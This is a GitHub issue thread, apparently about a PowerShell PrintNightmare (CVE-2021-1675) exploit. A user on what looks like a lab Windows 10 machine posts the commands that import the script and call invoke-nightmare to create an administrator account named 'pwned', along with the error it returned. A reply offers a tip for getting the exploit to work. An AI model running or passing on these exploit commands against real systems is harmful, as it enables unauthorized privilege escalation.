Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[!] EnumPrinterDrivers should fail! #69

Open
ZackInMA opened this issue Jan 6, 2023 · 1 comment
Open

[!] EnumPrinterDrivers should fail! #69

ZackInMA opened this issue Jan 6, 2023 · 1 comment

Comments

@ZackInMA
Copy link

ZackInMA commented Jan 6, 2023

Run from an out of date Win10 host, Windows defender disabled, firewall disabled, file and printer sharing enabled, no mitigation steps taken. Print spooler is running, and allowing inbound client connections.

PS C:\Users\student\Desktop> systeminfo

Host Name: CLIENT251
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299

PS C:\Users\student\Desktop> import-module .\CVE-2021-1675.ps1
PS C:\Users\student\Desktop> invoke-nightmare -NewUser pwned -NewPassword "pwned!" -DriverName "PrintMe"
[+] created payload at C:\Users\student\AppData\Local\Temp\nightmare.dll
[!] EnumPrinterDrivers should fail!

@CustosClarus
Copy link

it will solve for you if you use the domain user account not the admin

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants